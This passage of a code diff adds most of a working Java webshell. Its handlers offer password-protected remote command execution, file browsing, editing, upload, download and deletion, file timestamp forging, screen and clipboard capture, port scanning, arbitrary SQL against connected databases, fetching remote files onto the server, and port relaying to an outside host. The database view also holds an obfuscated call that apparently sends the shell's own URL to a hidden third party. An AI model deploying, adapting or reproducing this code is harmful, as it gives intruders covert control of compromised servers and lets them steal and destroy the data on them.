response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
"+ +"

System Clipboard »

"+ +"

");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
"+ +" "+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
"+ +"

Remote Control »

"+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
"+ +"

PortScan >>

"+ +"
"+ +"

"+ +"IP : Port : Timeout 锛堢锛 : "+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
"); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
"); +} +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(), "GBK"); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +out.println("
"+ +"

Run SQL query/queries on database :

"); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

Query#0 : "+Util.htmlEncode(sql)+"

"); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
"+meta.getColumnName(i)+"
"+meta.getColumnTypeName(i)+"
"); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

affected rows : "+obj+"

"); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
"+ +"

Password: "+ +" "+ +" "+ +" "+ +"

"+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
"); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

"); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Current Directory
"+ +"
"); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
"+ +"
"+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
 NameLast ModifiedSizeRead/Write/Execute 
=Goto Parent
0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
"+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
 Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
"); +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)

"+ +"

File Content

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)

"+ +"

File Content

"+ +"

"+ +"
"+ +"
"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
"+ +"
"+ +"

Set File Property »

"+ +"

Current file (fullpath)

"+ +" "+ +"

Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

"+ +"

Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
"+ +"
"+ +"

Execute Program »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"+ +"

Execute Shell »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

"); +out.println("
");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
"); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
"+ +"
"+ +"

Remote File DownLoad »

"+ +"

"+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

PortMap >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

"+ +" "+ +" "+ +"
"+ +"
"+ +"
"+ +"
